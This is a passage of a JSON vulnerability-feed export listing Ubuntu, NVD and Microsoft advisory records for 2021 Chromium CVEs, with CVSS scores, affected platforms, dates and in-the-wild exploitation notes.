"UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.6}, "published": "2021-10-08T00:00:00", "type": "ubuntucve", "title": "CVE-2021-37976", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37976"], "modified": "2021-10-08T00:00:00", "id": "UB:CVE-2021-37976", "href": "https://ubuntu.com/security/CVE-2021-37976", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-02-03T13:31:03", "description": "Use after free in V8 in Google Chrome prior to 94.0.4606.71 allowed a\nremote attacker to potentially exploit heap corruption via a crafted HTML\npage.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-08T00:00:00", "type": "ubuntucve", "title": "CVE-2021-37975", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37975"], "modified": "2021-10-08T00:00:00", "id": "UB:CVE-2021-37975", "href": "https://ubuntu.com/security/CVE-2021-37975", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T13:29:44", "description": "Insufficient validation of untrusted input in Intents in Google Chrome on\nAndroid prior to 95.0.4638.69 allowed a remote attacker to arbitrarily\nbrowser to a malicious URL via a crafted HTML page.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2021-11-23T00:00:00", "type": "ubuntucve", "title": "CVE-2021-38000", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38000"], "modified": "2021-11-23T00:00:00", "id": "UB:CVE-2021-38000", "href": "https://ubuntu.com/security/CVE-2021-38000", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "cve": [{"lastseen": "2023-02-09T14:27:54", "description": "Use after free in Web Transport in Google Chrome prior to 95.0.4638.69 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-11-23T22:15:00", "type": "cve", "title": "CVE-2021-38002", "cwe": ["CWE-416"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38002"], "modified": "2022-02-28T19:47:00", "cpe": ["cpe:/o:fedoraproject:fedora:34", "cpe:/o:debian:debian_linux:10.0", "cpe:/o:debian:debian_linux:11.0"], "id": "CVE-2021-38002", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-38002", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*"]}, {"lastseen": "2023-02-09T14:06:13", "description": "Use after free in Blink in Google Chrome prior to 89.0.4389.128 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-26T17:15:00", "type": "cve", "title": "CVE-2021-21206", "cwe": ["CWE-416"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21206"], "modified": "2021-06-03T14:27:00", "cpe": ["cpe:/o:fedoraproject:fedora:32", "cpe:/o:fedoraproject:fedora:33", "cpe:/o:fedoraproject:fedora:34"], "id": "CVE-2021-21206", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-21206", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:32:*:*:*:*:*:*:*"]}, {"lastseen": "2023-02-09T14:19:05", "description": "Use after free in WebGL in Google Chrome prior to 91.0.4472.114 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-02T19:15:00", "type": "cve", "title": "CVE-2021-30554", "cwe": ["CWE-416"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30554"], "modified": "2021-09-20T18:55:00", "cpe": ["cpe:/o:fedoraproject:fedora:33", "cpe:/o:fedoraproject:fedora:34"], "id": "CVE-2021-30554", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-30554", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*"]}, {"lastseen": "2023-02-09T14:06:11", "description": "Use after free in Blink in Google Chrome prior to 89.0.4389.90 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-03-16T15:15:00", "type": "cve", "title": "CVE-2021-21193", "cwe": ["CWE-416"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21193"], "modified": "2021-12-03T17:46:00", "cpe": ["cpe:/o:fedoraproject:fedora:32", "cpe:/o:debian:debian_linux:10.0"], "id": "CVE-2021-21193", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-21193", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": 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"https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-37975", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:35:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*"]}], "mscve": [{"lastseen": "2023-03-17T02:33:33", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-10-29T16:52:36", "type": "mscve", "title": "Chromium: CVE-2021-38002 Use after free in Web Transport", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38002"], "modified": "2021-10-29T16:52:36", "id": "MS:CVE-2021-38002", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38002", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-17T02:34:19", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information.\n\nMicrosoft is aware of reports that exploits for CVE-2021-21206 exist in the wild.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-14T07:00:00", "type": "mscve", "title": "Chromium: CVE-2021-21206 Use after free in Blink", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21206"], "modified": "2021-04-14T07:00:00", "id": "MS:CVE-2021-21206", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-21206", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-17T02:34:07", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information. Microsoft is aware of reports that exploits for CVE-2021-30554 exist in the wild.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-18T16:21:57", "type": "mscve", "title": "Chromium: CVE-2021-30554 Use after free in WebGL", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30554"], "modified": "2021-06-18T16:21:57", "id": "MS:CVE-2021-30554", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-30554", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-17T02:34:32", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information.\n\n**This CVE has been reported to be exploited in the wild.**\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-03-15T16:21:14", "type": "mscve", "title": "Chromium CVE-2021-21193: Use after free in Blink", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21193"], "modified": "2021-03-15T16:21:14", "id": "MS:CVE-2021-21193", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-21193", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-17T02:33:53", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information.\n\nThis vulnerability is known to have been exploited in the wild.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-19T07:00:00", "type": "mscve", "title": "Chromium: CVE-2021-30563 Type Confusion in V8", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30563"], "modified": "2021-07-19T07:00:00", "id": "MS:CVE-2021-30563", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-30563", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-17T02:34:19", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information.\n\nThis vulnerability was addressed in Microsoft Edge (Chromium-based) in build 90.0.818.41 which was released April 16, 2021.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-22T20:16:16", "type": "mscve", "title": "Chromium: CVE-2021-21224 Type Confusion in V8", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21224"], "modified": "2021-04-22T20:16:16", "id": "MS:CVE-2021-21224", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-21224", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-17T02:34:19", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information.\n\nMicrosoft is aware of reports that exploits for CVE-2021-21220 exist in the wild.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-14T07:00:00", "type": "mscve", "title": "Chromium: CVE-2021-21220 Insufficient validation of untrusted input in V8 for x86_64", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21220"], "modified": "2021-04-14T07:00:00", "id": "MS:CVE-2021-21220", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-21220", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-17T02:33:41", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information.\n\nGoogle is aware that an exploit for CVE-2021-37973 exists in the wild.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-09-24T16:42:29", "type": "mscve", "title": "Chromium: CVE-2021-37973 Use after free in Portals", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37973"], "modified": "2021-09-24T16:42:29", "id": "MS:CVE-2021-37973", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-37973", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-17T02:33:33", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information. Google is aware that exploits for this vulnerability exist in the wild.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-29T16:52:46", "type": "mscve", "title": "Chromium: CVE-2021-38003 Inappropriate implementation in V8", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38003"], "modified": "2021-10-29T16:52:46", "id": "MS:CVE-2021-38003", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38003", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-17T02:34:48", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information.\n\n**This CVE has been reported to be exploited in the wild.**\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-05T08:00:00", "type": "mscve", "title": "Chromium CVE-2021-21148: Heap buffer overflow in V8", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", 